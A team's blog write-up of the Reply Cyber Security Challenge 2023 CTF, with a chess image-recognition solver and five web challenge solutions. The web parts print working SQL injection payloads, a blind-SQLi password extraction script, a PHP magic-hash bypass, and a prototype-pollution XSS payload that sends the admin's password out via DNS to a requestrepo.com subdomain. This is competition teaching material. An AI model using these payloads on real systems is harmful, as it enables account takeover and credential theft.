Reply Cyber Security Challenge 2023

October 19, 2023

So... we managed to take first place for the second year in a row in the Reply Cyber Security Challenge! It as a lot of fun, and every year we are eager to try our best in this competition.

In this blog post I'll present the challenges I was able to solve during the CTF (5 web and 1 coding), for the complete list of challenges please visit our website! :)

Coding-500

Description

Cutest chessboard ever ^^

As he holds the new fragment in his hands, R-Boy knows that the road ahead is still long and filled with challenges. Perhaps the challenge will be even tougher than expected.

Solution

Figure 1. 0.jpg, the initial board with cat/dog pictures as pieces

Figure 2. A random position that we need to solve

We are assigned with the folowing task: from all of the given images (which are just chess games played with dog/cat pictures instead of pieces), determine which one is a checkmate and print the FEN notation of the position, the Winner and the piece(s) that are attacking the king.

Basically, we need to split this problem into two parts:

  • Perform some kind of Image Recognition in order to find out which piece is which, we can make use of the 0.jpg image, which presents us with an initial chess position. To do that we basically split the image into 64 squares and got the pieces that we needed + the empty cell. The piece recognition is a bit trickier, as the pieces appear rotated in some of the images, we mostly solved this problem by comparing the cells using histogram comparison which worked for all but 2 of the levels. For the other 2 we used ORB from OpenCV, which was much slower than the histogram comparison
  • After being able to recognize the pieces in the image, we need to be able to reconstruct the chess board and apply the usual chess rules. This was very easy to do using the python-chess library which provides a lot of flexibility and features (telling us if the position is a checkmate, which pieces are attacking the king square, who won, and of course the FEN notation that we need)

This was our final solver script:

import cv2
import numpy as np

def split_chessboard(image_path, square_size):
# Load image
img = cv2.imread(image_path)

# Check if image is loaded
if img is None:
print("Error: Unable to load image")
return []

# Initialize array to hold squares
squares = []

# Loop through and extract each square
for i in range(8):
squares.append([])
for j in range(8):
# Extract square and append to squares list
square = img[i*square_size:(i+1)*square_size, j*square_size:(j+1)*square_size]
squares[-1].append(square)

return squares

# Example usage:
# Provide the path to your 800x800 chessboard image
image_path = "0.jpg"
# As the image is 800x800 and a chessboard has 8x8 squares, each square is 100x100
square_size = 100
squares = split_chessboard(image_path, square_size)

r = squares[0][0]
n = squares[0][1]
b = squares[0][2]
q = squares[0][3]
k = squares[0][4]
p = squares[1][0]

R = squares[7][0]
N = squares[7][1]
B = squares[7][2]
Q = squares[7][3]
K = squares[7][4]
P = squares[6][0]

# show image
# cv2.imshow("Image", )
# cv2.waitKey(0)

white_pieces = [(R, 'R'), (N, 'N'), (B, 'B'), (Q, 'Q'), (K, 'K'), (P, 'P')]
black_pieces = [(r, 'r'), (n, 'n'), (b, 'b'), (q, 'q'), (k, 'k'), (p, 'p')]

empty = squares[2][0]

def calculate_histogram(image):
hist = cv2.calcHist([image], [0], None, [256], [0,256])
cv2.normalize(hist, hist)
return hist

def compare_histograms(hist1, hist2, method=cv2.HISTCMP_CORREL):
return cv2.compareHist(hist1, hist2, method)

def get_similarity(image1, image2):
hist1 = calculate_histogram(image1)
hist2 = calculate_histogram(image2)

similarity = compare_histograms(hist1, hist2)
return similarity

def get_best_similarity(image1, image2):
best_similarity = get_similarity(image1, image2)

rotated_img = image2.copy()

# Check for rotated versions
for angle in [90, 180, 270]:
rotated_img = cv2.rotate(rotated_img, rotateCode=cv2.ROTATE_90_CLOCKWISE)
similarity = get_similarity(image1, rotated_img)
best_similarity = max(best_similarity, similarity)

return best_similarity

def orb_similarity(image1, image2):
# Initialize ORB detector
orb = cv2.ORB_create()

# Find keypoints and descriptors
kp1, des1 = orb.detectAndCompute(image1, None)
kp2, des2 = orb.detectAndCompute(image2, None)

# Initialize BFMatcher
bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)

# If no keypoints are detected, return a low similarity score
if des1 is None or des2 is None:
return 0.0

# Match descriptors
matches = bf.match(des1, des2)

# Return the number of matches as a simple similarity score
return len(matches)

def get_piece(square):
M = -1
_piece = None
_symbol = None
for piece, symbol in white_pieces + black_pieces + [(empty, '.')]:
m = get_best_similarity(square, piece)
if m >= M:
M = m
_piece = piece
_symbol = symbol

return _piece, _symbol


def build_chessboard(image_path):
square_size = 100
squares = split_chessboard(image_path, square_size)

chessboard = []
for i in range(8):
chessboard.append([])
for j in range(8):
piece, symbol = get_piece(squares[i][j])
chessboard[-1].append(symbol)

return chessboard

import chess

def matrix_to_fen(matrix):
# Create a chess board
board = chess.Board(None) # None creates an empty board

for row_idx, row in enumerate(matrix):
for col_idx, piece in enumerate(row):
# Set piece on the board
if piece != ".":
board.set_piece_at(chess.square(col_idx, 7-row_idx), chess.Piece.from_symbol(piece))

if board.is_checkmate():
return board.fen(), board
else:
board.turn = chess.BLACK
if board.is_checkmate():
return board.fen(), board
return 0, 0

import os
for i in range(1, 1000):
if not os.path.exists(f"{i}.jpg"):
break
fen, board = matrix_to_fen(build_chessboard(f"{i}.jpg"))
if fen:
data = fen.split(' ')
fen = data[0]
winner = "B" if board.turn == chess.WHITE else "W"

the_attackers = []

if winner == "B":
white_king_square = board.king(chess.WHITE)
attackers = board.attackers(chess.BLACK, white_king_square)
for attacker in attackers:
the_attackers.append(chess.SQUARE_NAMES[attacker])
if winner == "W":
black_king_square = board.king(chess.BLACK)
attackers = board.attackers(chess.WHITE, black_king_square)
for attacker in attackers:
the_attackers.append(chess.SQUARE_NAMES[attacker])

the_attackers.sort()
the_attackers = ','.join(the_attackers)

print(f'{fen}-{winner}-{the_attackers}')

And to avoid manually unzipping all the levels, this dumb automation script did the job:

import os
import subprocess
import time

last_pw = "last"

while True:
good = False
subprocess.check_output(
f"cp level.zip old/{last_pw.replace('/','_')}.zip", shell=True
)
for password in subprocess.check_output("python solve.py", shell=True).splitlines():
password = password.decode().strip()
try:
res = subprocess.check_output(f"unzip -P'{password}' -o level.zip 2>&1", shell=True)
print(password)
last_pw = password
good = True
break
except subprocess.CalledProcessError:
pass

time.sleep(1)

if not good:
print("failed")

Flag

{FLG:d0_U--lik3-m0sT_D0Gs-_oR-c4Ts?!}

Web-100

Description

Becco Buffet

R-Boy arrives in the Web Realm, a celestial domain comprised of floating islands in the digital sky. These highly interconnected islands create an intricate network resembling a spider's web. Here, energy flows swiftly, and R-Boy senses a strange energy.

Solution

We are tasked with the following game:

The goal is pretty clear, get 65536 points.

If we intercept the requests sent to the server, we can see that the client is actually making a call to the backend with the type of goat that it eats:

POST /web1-f1103cad4b0542c69e23b267e173799295c4f217/got-a-goat HTTP/1.1
Host: gamebox1.reply.it
Content-Length: 19
Cookie: session=<SESSION COOKIE>
Connection: close

type=green

And an example response:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 13 Oct 2023 17:34:35 GMT
Content-Type: application/json
Content-Length: 66
Connection: close
Vary: Cookie
Set-Cookie: session=<SESSION COOKIE>

{"negative_score":2000,"positive_score":10000,"total_score":8000}

If we repeat the requests a lot of times with type=green, at some point the total_score will overflow:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 13 Oct 2023 18:03:37 GMT
Content-Type: application/json
Content-Length: 64
Connection: close
Vary: Cookie
Set-Cookie: session=<SESSION COOKIE>

{"negative_score":0,"positive_score":102000,"total_score":3000}

We see that we are at +1000 over what we should be, which is interesting. I'm not exactly sure how the overflow is implemented, because we jump from 64000 total score (with positive score 64000) to -33000 (with positive score 66000). If we accumulate a high amount of positive score, then the added sum would fluctuate between 666 and 667, we got a bit lucky since we stopped at +666 and then started accumulating negative score, which when it overflowed it gave us the flag:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 13 Oct 2023 19:17:12 GMT
Content-Type: application/json
Content-Length: 68
Connection: close
Vary: Cookie
Set-Cookie: session=<SESSION COOKIE>

{"negative_score":64000,"positive_score":3864000,"total_score":666}

Eat another red goat =>

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 13 Oct 2023 19:17:14 GMT
Content-Type: application/json
Content-Length: 98
Connection: close
Vary: Cookie
Set-Cookie: session=<SESSION COOKIE>

{"negative_score":66000,"positive_score":3864000,"total_score":"{FLG:y0U-aT3_700-mUch_B4D_GO4T}"}

The script that was used to automate the process:

session = requests.session()


for i in range(1000):
burp0_url = "http://gamebox1.reply.it:80/web1-f1103cad4b0542c69e23b267e173799295c4f217/got-a-goat"
burp0_cookies = {"session": "<SESSION COOKIE>"}
burp0_headers = {"User-Agent": "<USER AGENT>", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*", "Origin": "http://gamebox1.reply.it", "Referer": "http://gamebox1.reply.it/web1-f1103cad4b0542c69e23b267e173799295c4f217/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", "Connection": "close"}
burp0_data = {"type": "red"}
r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies={'http': 'http://127.0.0.1:8080'})
print(r.text)

time.sleep(2) # this is important as the game prevents us from eating goats too quickly

Flag

{FLG:y0U-aT3_700-mUch_B4D_GO4T}

Web-200

Description

The Last Fighting Goat

The palace of the Web Realm, a gleaming place called Hypercloud, is guarded by Polyglot, an amorphous being that travels through the ether at extraordinary speeds. Polyglot is an arcane guardian, with the ability to speak and understand all existing languages.

Solution

We are presented with an interesting looking website which resembles a sports betting site. The goal is to get 100 euros by betting on the fights, as we gain +10 euros when we win and -10 when we lose. Now, the odds are not too bad and we could probably solve this by just trying our luck, as there's a ~ 0.1% chance of obtaining the 100 euros by just randomly guessing 10 games in a row, and we could create multiple sessions to increase our chances (because each round took 1 minute). But that was not feasible as the betting required completing a reCAPTCHA challenge.

So we had to look elsewhere. We noticed a hidden parameter in the /hof page:

    <form hidden="true">
<input name="year">
</form>

Which was vulnerable to SQL injection!

POST /web2-3c91477fb7fb643fc15d090da43cb634f20f0ed7/hof HTTP/1.1
Host: gamebox1.reply.it
Cookie: UID=<UID>
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

year=' union select 1337,1337 from bets_hall_of_fame-- -

The result:

    <tr>
<th scope="row">1</th>
<td class="prize">1337</td>
<td>€1337</td>
<td>133</td>
</tr>

As we had union based sql injection, we read the schema from the sqlite_schema (sqlite_master was filtered in the input, and we kinda knew that the backend was sqlite from the web-300 challenge):

year=' union select sql,1337 from sqlite_schema-- -

=>

<td class="prize">CREATE TABLE bets_hall_of_fame (
        uid text PRIMARY KEY,
        name text,
        money int,
        year text,
        CHECK(
            length("id") == 36
        )
)</td>

With that we can leak the uid's from the bets_hall_of_fame table with year=' union select uid,1337 from bets_hall_of_fame-- - to get a uid that would maybe have >= 100 euros OR access to the betting history feature (in this case the uuid's could not be used to get the flag, but they gave us access to the bets_history endpoint).

POST /web2-3c91477fb7fb643fc15d090da43cb634f20f0ed7/bets_history HTTP/1.1
Host: gamebox1.reply.it
Content-Length: 19
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: UID=<UID FROM THE DATABASE>
Connection: close

fight_id=1697230500

=>

    <tr>
<th scope="row">2023-10-13T20:55:00+00:00</th>
<td class="prize">hopeful ishizaka</td>
</tr>

<tr>
<th scope="row">2023-10-13T20:54:00+00:00</th>
<td class="prize">stupefied raman</td>
</tr>

<tr>
<th scope="row">2023-10-13T20:53:00+00:00</th>
<td class="prize">suspicious hofstadter</td>
</tr>

With that we can just manually win 10 games in a row and claim our flag!

Flag

{FLG: I_4m_n0t_impressed_by_y0ur_perf0rm4nce}

Web-300

Description

Becco Card Clash

The battle with Polyglot is a dizzying clash to the last drop. R-Boy uses his cunning to identify a weakness in Polyglot's language. He exploits it, and with a series of well-placed commands, he manages to defeat him.

Solution

The website looks to be a portal for a Hearthstone-like game, with some extra features like the leaderboard, a non-functioning shop and a profile.

We quickly found out that there is a vulnerability in the leaderboard's search features by using payloads like ' and '2'='1 (no results) and ' or '1'='1 (all results).

The input was pretty filtered and we could not do a union based SQL injection, and the cards table was filtered as well. So we could only do 0/1 Blind based SQL injections. After some fiddling with the input, we discovered that we can access the password field from the main query, and when we input or own password in the WHERE query, we get back our user as the result (e.g. query ' OR password='ourpassword).

We can use that to leak the password of other users, there's a particular user which seems interesting: JeanKarlus Mannus the GOAT#uid (the uid part is actually part of the username, as the database instances were separated for each individual user as to not leak passwords, which is a good move :) ).

I wrote a quick binary search to get JeanKarlus's password:

import requests
import time

password = ''

def make_req(m):
burp0_url = "http://gamebox1.reply.it:80/web3-22dea2262ffe964c0ad6e7f2c66262798103fe20/search"
burp0_cookies = {"session": "<SESSION COOKIE>"}

burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://gamebox1.reply.it", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "<USER AGENT>", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://gamebox1.reply.it/web3-22dea2262ffe964c0ad6e7f2c66262798103fe20/leaderboard", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", "Connection": "close"}
burp0_data = {"csrf_token": "<CSRF TOKEN>",
"query": "' or (unicode(substr(password,%d,1))<%d and id > 2) or '1'='2" % (len(password) + 1, m)}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies={'http': 'http://127.0.0.1:8080'})
time.sleep(1)
return 'Mannus the GOAT' in r.text


while True:
left, right = 0, 127

while left <= right:
mid = (left + right) // 2
if make_req(mid):
right = mid - 1
else:
left = mid + 1
print(left, right)

password += chr(right)
print(password)

Now we can login as JeanKarlus Mannus the GOAT#uid / password (which should be 8 characters, lowercase letters + numbers).

From there we can donate a card to our account. But which card to donate? If we check the actual game we can see that JeanKarlus uses some cards like Nefarious Moloch, etc. But when we try to donate that card, we get this message: YOU THIEF! YOU CAN ONLY DONATE CARDS THAT ARE NOT ASSIGNED TO ANY PLAYER.

If we inspect the source code of the game, we see that the cards have assigned images like: /web3-22dea2262ffe964c0ad6e7f2c66262798103fe20/static/images/cards/16.png, with the last card being at 30.png, well what happens when we go to 31.png? We get this:

The Exodia of Goatstone!

We just need to donate Salamel the GOD of GOAT (without the S) to our account, and then we can easily win the game.

Flag

{FLG:%iL_B3ccO_&_UN4_B3LlA_B3sT1A$}

Web-400

Description

Goats&Snakes

Winning the battle, R-Boy gains access to the palace and moves one step closer to his goal. Here, he is rewarded with the Link Fragment, a key element to completing his mission of becoming a Digital Knight.

Solution

We are given the source code of a Python application. From the website we can notice that we can create an account, but we cannot login until we register at a physical kiosk (because the password is randomly assigned to us, and we don't know the value).

This is the user model:

class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(64),unique=True,nullable=False)
password = db.Column(db.String(64),nullable=False)
email = db.Column(db.String(64),unique=True, nullable=False)
phone = db.Column(db.String(16),nullable=False)
token = db.Column(db.String(64),nullable=True)

And this is the user create method:

def createuser(name,surname,email,phone):
username = "{}.{}.{}".format(name,surname,random.randint(1000,9999))
passwd = hashlib.sha256(bytes(secrets.token_urlsafe(16),'utf-8')).hexdigest()
if email == "" or len(username) > 64 or len(email)>64 or len(phone)> 16:
return False
try:
newuser = User(username=username,
password=passwd,
email=email,
phone=phone)
db.session.add(newuser)
db.session.commit()
except:
return False
return username

A keen observer would notice that the token is not being set when we create an account, and it's default will be None/Null (as it's set in the database). That means that we can actually recover our password by not supplying a token:

@app.route('/update_passwd_token', methods=['GET', 'POST'])
def update_passwd_token():
try:
if request.method == "POST":
username = malicious_chars(request.form.get("username"))
newpwd = request.form.get("password")
token = request.form.get("token")
user = User.query.filter_by(username=username).first()
if user and user.token == token:
return redirect(url_for('update_passwd_token', status=update_pwd(user, newpwd)))
return redirect(url_for('update_passwd_token', error="Invalid Token or User"))
return render_template('update_passwd.html')
except:
return render_template_string('Error in update_passwd_token')

We need to manually remove the &token= from the request:

POST /web4-1c1a2bce092184a2acfcd7ddbd00abffe1c0a587/update_passwd_token HTTP/1.1
Host: gamebox1.reply.it
Content-Length: 60
Connection: close

username=adragos.username.1337&password=mysecretpassword

=>

HTTP/1.1 302 FOUND
Server: nginx/1.22.1
Date: Sun, 15 Oct 2023 16:24:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 369
Connection: close
Location: /web4-1c1a2bce092184a2acfcd7ddbd00abffe1c0a587/update_passwd_token?status=Password+Updated!

And after login in we arrive at /auth/index.php, which is a .php site, different from the Python source.

In nav.js we find the following path:

$(document).ready(function () {
// Array di oggetti per definire le sezioni del navbar
var sections = [
{ title: "Becchi", url: "index.php", icon: "🐐" },
{ title: "Supplements", url: "supplements.php", icon: "💊" }
// { title: "Make Becco Stronger", url: "mbs.php", icon: "💪" }
];

// Funzione per generare il codice HTML delle sezioni del navbar
function generateNavbarSections() {
var html = "";
for (var i = 0; i < sections.length; i++) {
var section = sections[i];
var activeClass = window.location.pathname === section.url ? "active" : "";
html += '<li class="nav-item ' + activeClass + '">';
html += '<a class="nav-link" href="' + section.url + '">' + section.icon + ' ' + section.title + '</a>';
html += '</li>';
}
return html;
}

// Carica dinamicamente le sezioni del navbar
$("#navbarList").html(generateNavbarSections());
});

mbs.php, which just redirects us to index.php, but if we watch the request in Burp we can see the following html response:

    <div class="card-body">
<form id="myForm" action="power-becco.php" method="POST">
<div class="form-group">
<label for="select1">Goat</label>
<select class="form-control" id="select1" name="becco">
<option value="Mr. Olympiagoat">Mr. Olympiagoat</option>
<option value="TrenGoat">TrenGoat</option>
</select>
</div>
<div class="form-group">
<label for="select2">Supplement</label>
<select class="form-control" id="select2" name="supplement">
<option value="Trenbolone">Trenbolone</option>
<option value="Creatine">Creatine</option>
</select>
</div>
<div class="form-group">
<label for="select2">Developer Token</label>
<input type="text" name="dev_token" class="form-control" placeholder="Developer Token"/>
</div>
</form>
</div>

...

<script>
// Remember to improve MD5 & weak comparison on the back-end!!
$.ajax({
url: $("#myForm").attr("action"),
method: "POST",
data: $("#myForm").serialize(),
dataType: "json",
</script>

That comments makes us think of php magic hashes, we search one for php+md5 and we submit the following form to get the flag:

POST /web4-1c1a2bce092184a2acfcd7ddbd00abffe1c0a587/auth/power-becco.php HTTP/1.1
Host: gamebox1.reply.it
Cookie: goatoken=<SESSION COOKIE>
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

becco=TrenGoat&supplement=Creatine&dev_token=QLTHNDT

tldr the md5 hash of QLTHNDT is 0e405967825401955372549139051580 which loosely compares to 0 in php (because php)

Flag

{FLG: ZYZZ_ARNOLD_GOATS_FITNESS_CONNECTION}

Web-500

Description

Becco Juniors FC

With the Link Fragment in hand, R-Boy is about to embark on the next stage when he realizes that the fragment is corrupted. He must act swiftly to overcome the remaining adversaries, or the fragment will be lost forever.

Solution

We are presented with a site of the Becco Juniors football team. It has a bunch of features including a shop, a live chat, user login and signup and watching livestreams.

From the start, the goal of the challenge seems to be to buy the Ultras Subscription, or at least get access to an account that has it. When we try to use the shop functionality, we notice that we cannot checkout as the feature is not implemented. But the cart is being preserved as part of a ?cart=parameter.

That made us look at the javascript code for the site to see how the parameter is generated:

    const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
let cart = { ids: [] };
try {
var inputCart = JSON.parse(atob(urlParams.get("cart")))
if (inputCart) {
merge(cart, inputCart);
}
} catch (error) {
cart = { ids: [] };
}

function isPrimitive(n) {
return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
}

function merge(target, source) {
let protectedKeys = ["__proto__", "mode", "version", "location", "src", "data", "m"]

for (let key in source) {
if (protectedKeys.includes(key)) continue

if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}

function sanitize(data) {
if (typeof data !== 'string') return data
return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}


document.addEventListener("DOMContentLoaded", function () {
const cartButtons = document.querySelectorAll(".btn-plus-product");

cartButtons.forEach(function (button) {
button.addEventListener("click", function (event) {
event.preventDefault();

const productId = button.getAttribute("data-product-id");
const productIds = [productId];
const cartData = { ids: productIds };
const existingIds = cart.ids;
const newIds = cartData.ids;
const mergedIds = existingIds.concat(newIds);
const encodedData = btoa(JSON.stringify({ ids: mergedIds }));

const redirectURL = "/web5-6b3799be4300e44489a08090123f3842e6419da5/cart" + `?cart=${encodedData}`;
window.location.href = redirectURL;
});
});
});

We can see a bunch of filters that make us think of 2 things: prototype pollution and xss. The merge function is vulnerable to prototype pollution, but there are some mitigations that take place, namely we cannot set these keys for the object: ["__proto__", "mode", "version", "location", "src", "data", "m"]

We can bypass that by setting the constructor.prototype of the merged object, instead of setting __proto__ directly.

During the signup process we noticed that reCAPTCHA is being used to prevent mass creation of accounts. That is good for us, because there is a pretty well known prototype pollution gadget for reCAPTCHA: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/recaptcha.md

Which worked first try for us with the following payload: {"ids":["13"],"constructor":{"prototype":{"srcdoc":['<script>alert(1)</script>']}}} => we can pop an alert(1) when using the ?cart=eyJpZHMiOlsiMTMiXSwiY29uc3RydWN0b3IiOnsicHJvdG90eXBlIjp7InNyY2RvYyI6WyIgPHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0PiJdfX19 parameter. This apparently also bypasses the sanitize check, but sometimes just blindly testing is better than trying to statically analyze everything.

We can use the chat feature to send our payload to the admin:

We thought that it will be easy from now on, just exfiltrate the cookie via HTTP and be done with it. But oh no, the challenge just began:

  • When doing a request to our site, we would only receive the DNS request and no HTTP request (this was intended since all outgoing traffic except for DNS was forbidden)
  • The session is HTTP only and we cannot retrieve it

Well, the dns issue is not too bad, since we can use requestrepo.com to capture all DNS traffic to our subdomain, but we are limited in the amount of bytes we can exfil from the target (I went with ~20 bytes per request, since it was pretty easy to query the bot).

One thing that saves us here is that the password is actually in plain text in the /profile section, but hidden using JavaScript. As such, I built a payload that looked like this to exfiltrate the password using fetch + DNS exfil:

{"ids":["13"],"constructor":{"prototype":{"srcdoc":[" <script>fetch('/web5-6b3799be4300e44489a08090123f3842e6419da5/profile').then(response => response.text()).then(text => {     location='//X'+text.split('Password:')[1].split('</span>')[0].substr(22,99).split('').map(c=>c.charCodeAt(0).toString(16).padStart(2,'0')).join('').substr(0,32)+'.cras63mo.requestrepo.com/' ; }) </script>"]}}}

I went with hex based dns exfil since DNS doesn't really preserve case, and I added an X at the beginning to make sure I capture even empty exfils (since a fetch where the domain starts with . would fail).

As such, we can get the admin's password which is r:NYurr$N}Ri:c. Now we spent a bit of time trying to search for the username, as it's not in the /profile section, but we can actually see the admin's profile in the WebSockets responses:

42["message",{"username":"jacarrion","message":"I visited the link you sent! Where is the streaming?","image":"avatar_0.png"}]

So we can login as jacarrion / r:NYurr$N}Ri:c to get the flag, right?

Well, not yet. If we go to /media and try to watch the livestream, we get a blank video, and when we go to /static/videos/livestreaming.mp4 we get this: {"message": "This device is not associated with an Ultras Subscription."}

Which makes us think about a feature that we saw in Burp, but didn't pay much attention to it. It seems like we need to exfil the admin's fingerprint data (by querying /api/fingerprint , we can reuse the same technique as above) and we get this:

{"device_data":{"ip":"52.29.7.52","language":"en-US","mobile":false,"os":"Unknown","screen_height":600,"screen_width":800,"timezone":0,"user_agent":"!**GOBECCOJUNIORS**!","webdriver":true},"device_id":"a4b6a4da760e000eb288534fc1823cac15adfe65007bcb3b12dbf95dc979f920"}

There's one more thing, the data that is being sent to /api/fingerprint seems to be encrypted. There's a /static/js/device_obf.js that we need to reverse in order to find out how the encryption happens:


// AES encryption taking place, with IV yvZUad5eQYRpU2HQ
_0xb1643d()
const _0x5d825b = CryptoJS.enc.Utf8.parse(_0x8a21d0)
const _0x23fd1e = CryptoJS.enc.Utf8.parse('yvZUad5eQYRpU2HQ'),
_0x37fa2c = CryptoJS.AES.encrypt(_0x5eee54, _0x5d825b, {
iv: _0x23fd1e,
mode: CryptoJS.mode.CBC,
}).toString()
return _0x37fa2c

function lolasd() { // the function that computes the AES key x@4w}^6H>MqP[S1!
const _0x1a0826 = (function () {
let _0x429d86 = true
return function (_0x4d697a, _0x221ee0) {
const _0x359abf = _0x429d86
? function () {
if (_0x221ee0) {
const _0x60e7c9 = _0x221ee0.apply(_0x4d697a, arguments)
return (_0x221ee0 = null), _0x60e7c9
}
}
: function () {}
return (_0x429d86 = false), _0x359abf
}
})(),
_0x12c43d = _0x1a0826(this, function () {
return _0x12c43d
.toString()
.search('(((.+)+)+)+$')
.toString()
.constructor(_0x12c43d)
.search('(((.+)+)+)+$')
})
_0x12c43d()
const _0x279f2e = [64, 52, 119, 125, 94, 54, 72, 62, 77, 113, 80, 91, 83],
_0x536d28 = String.fromCharCode(parseInt('170', 8)),
_0xa1c80 = String.fromCharCode(..._0x279f2e)
return _0x536d28 + _0xa1c80 + '1' + String.fromCharCode(parseInt('041', 8))
}

We can verify that it indeed works by decrypting our request + forging a new one:

from Crypto.Cipher import AES
import base64

cipher = AES.new(b'x@4w}^6H>MqP[S1!', AES.MODE_CBC, b'yvZUad5eQYRpU2HQ')

data = base64.b64decode('<OUR FINGERPRINT DATA>')

dec = cipher.decrypt(data)

print(dec)

data = {"timezone":0,"user_agent":"!**GOBECCOJUNIORS**!","language":"en-US","os":"Unknown","mobile":False,"webdriver":True,"screen_width":800,"screen_height":600, "ip":"52.29.7.52"}
import json
data = json.dumps(data).encode('utf-8')


#data = b'{"device_data":{"ip":"52.29.7.52","language":"en-US","mobile":false,"os":"Unknown","screen_height":600,"screen_width":800,"timezone":0,"user_agent":"!**GOBECCOJUNIORS**!","webdriver":true},"device_id":"a4b6a4da760e000eb288534fc1823cac15adfe65007bcb3b12dbf95dc979f920"}'

# pad using PKCS7
pad = 16 - len(data) % 16
data += bytes([pad]) * pad
print(data)

cipher = AES.new(b'x@4w}^6H>MqP[S1!', AES.MODE_CBC, b'yvZUad5eQYRpU2HQ')

enc = cipher.encrypt(data)
print(base64.b64encode(enc))

So we should just be able to POST this data to /api/fingerprint to be able to watch the livestream, but there's one more thing: the IP is not taken from the JSON.

Thankfully, to forge the IP we can just add a X-Forwarded-For header:

POST /web5-6b3799be4300e44489a08090123f3842e6419da5/api/fingerprint HTTP/1.1
Host: gamebox1.reply.it
Content-Length: 267
Content-Type: application/json
X-Forwarded-For: 52.29.7.52
Cookie: session=<SESSION COOKIE>
Connection: close

{"data":"0gjDrNT6J3t7OwaPqN0aiG9aycUIvoMv3okiWT3LEgX2+QRnyWJ2pDdRnYpFBbdcX5VGXdd/bd4RSjOAyqJXxkoGh9TOAJdr1zaA7FSQcB5/3/LTd5iT9mcZP4AeihxZ3cpSfhLHSPix6Q1bVJTzOnV518Rp35ZeTCs7b05F4kA5Gq5ugOm5rJ1MsyneNlLGx6v1MkQQKG991rN47KRopcXyc5okPg9lnSPkeMGctQWMiVQmdDyIYWVuEMCG/+TR"}

And the result:

{"device_data":{"ip":"52.29.7.52","language":"en-US","mobile":false,"os":"Unknown","screen_height":600,"screen_width":800,"timezone":0,"user_agent":"!**GOBECCOJUNIORS**!","webdriver":true},"device_id":"a4b6a4da760e000eb288534fc1823cac15adfe65007bcb3b12dbf95dc979f920"}

With that, we can now watch the livestream to get the flag!

Flag

{FLG:#D1v3ntaN0_C4TTiv1_i_B3cch1$}

Twitter GitHub LinkedIn